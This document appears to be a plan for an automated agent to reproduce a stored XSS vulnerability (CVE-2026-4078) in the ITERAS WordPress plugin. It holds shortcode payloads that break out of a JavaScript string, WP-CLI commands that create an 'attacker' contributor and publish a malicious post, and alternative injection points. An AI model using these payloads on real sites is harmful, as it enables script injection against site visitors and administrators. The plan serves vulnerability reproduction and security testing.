Exploitation Research Plan: CVE-2026-4078 (ITERAS <= 1.8.2)

1. Vulnerability Summary

The ITERAS plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via several shortcodes: [iteras-ordering], [iteras-signup], [iteras-paywall-login], and [iteras-selfservice].

The vulnerability exists in the combine_attributes() function (located in public/iteras-public.php), which is used to transform shortcode attributes into a JavaScript object for the ITERAS API. The function improperly handles input by directly concatenating attribute values into a double-quoted JavaScript string context:
'"'.$key.'": "'.$value.'"' (Source: CVE description, line 489).

Because the $value is not escaped or sanitized for a JavaScript string context, an attacker can use a double-quote (") to break out of the string and inject arbitrary JavaScript code.

2. Attack Vector Analysis

• Authentication Level: Contributor or higher. Contributors have the edit_posts capability, allowing them to create posts/pages and insert shortcodes.
• Affected Shortcodes:
  • [iteras-ordering]
  • [iteras-signup]
  • [iteras-paywall-login]
  • [iteras-selfservice]
• Vulnerable Parameter: Any arbitrary attribute key-value pair passed to these shortcodes (e.g., [iteras-ordering x="PAYLOAD"]).
• Preconditions: The plugin must be active. Some shortcodes may require the profile_name (ITERAS URL-id) to be configured in the plugin settings to trigger the rendering of the vulnerable <script> tag.

3. Code Flow

1. Entry Point: A user with Contributor privileges creates or edits a post containing a shortcode like [iteras-ordering x='";alert(1)//'].
2. Shortcode Registration: In public/iteras-public.php, the plugin registers shortcodes in the __construct method:

   add_shortcode( 'iteras-ordering', array( $this, 'ordering_shortcode') );
   

3. Shortcode Execution: When the post is viewed, WordPress processes the_content filter, triggering ordering_shortcode($atts).
4. Vulnerable Sink: The callback (e.g., ordering_shortcode) passes the $atts array to the combine_attributes() function.
5. String Concatenation: combine_attributes() iterates through the attributes and builds a string:

   // Vulnerable line (as identified in CVE)
   $output .= '"'.$key.'": "'.$value.'"';
   

6. Output: The resulting string is wrapped in a <script> tag and echoed to the page, executing the injected payload in the visitor's browser.

4. Nonce Acquisition Strategy

This vulnerability involves Stored XSS through post content.

• Shortcode Rendering: No nonce is required to trigger the rendering of a shortcode when viewing a page.
• Post Creation (Injection): If using the WordPress Web UI to inject the shortcode, standard WordPress _wpnonce values for post creation/editing are required. However, the automated agent can bypass the Web UI by using WP-CLI to create the malicious post directly in the test environment.

5. Exploitation Strategy

1. Setup Plugin Settings: Configure dummy ITERAS settings to ensure the plugin attempts to render the API scripts.
2. Inject Payload: Create a post as a Contributor containing the malicious shortcode.
3. Verify Execution: Navigate to the post URL as an unauthenticated user or administrator and check for the execution of the injected script.

Payload Construction

Given the sink: '"'.$key.'": "'.$value.'"'

• Shortcode: [iteras-ordering x='";alert(document.domain)//']
• Resulting JS snippet: ..., "x": "";alert(document.domain)//"}

6. Test Data Setup

1. Configure Plugin:

   wp option update iteras_settings '{"profile_name":"vulnerable-test","api_key":"dummy_key","signing_key":"dummy_key","paywalls":[]}' --format=json
   

2. Create Contributor User:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password
   

3. Create Malicious Post:

   wp post create --post_type=post --post_status=publish --post_title="ITERAS XSS Test" --post_content='[iteras-ordering x="\";alert(document.domain)//"]' --post_author=$(wp user get attacker --field=ID)
   

7. Expected Results

• When navigating to the newly created post, the HTML source should contain a <script> tag associated with ITERAS.
• Inside that script, the attribute x will contain the broken string: "x": "";alert(document.domain)//".
• A browser alert displaying the document domain should trigger.

8. Verification Steps

1. Browser Verification: Use browser_navigate to the post URL. Check if an alert was triggered using browser_eval("window.confirm('Verification')") or by inspecting the console/DOM.
2. Source Inspection:

   # Using http_request to check for the raw payload in the response body
   # Look for the specific pattern in script tags
   grep -C 5 "iteras" 
   

9. Alternative Approaches

If [iteras-ordering] fails to render due to missing API configurations, try [iteras-signup] or [iteras-paywall-login].
If double-quotes are escaped by WordPress the_content filter (unlikely for shortcode attributes), try a payload using single quotes if the plugin logic allows it, or use HTML entities (though combine_attributes likely operates on the raw attribute array which should be unescaped at that stage).

Note on attribute keys: The CVE mentions the $key is also concatenated. If $value is somehow sanitized, the $key might also be a viable injection point: [iteras-ordering ";alert(1)//="test"].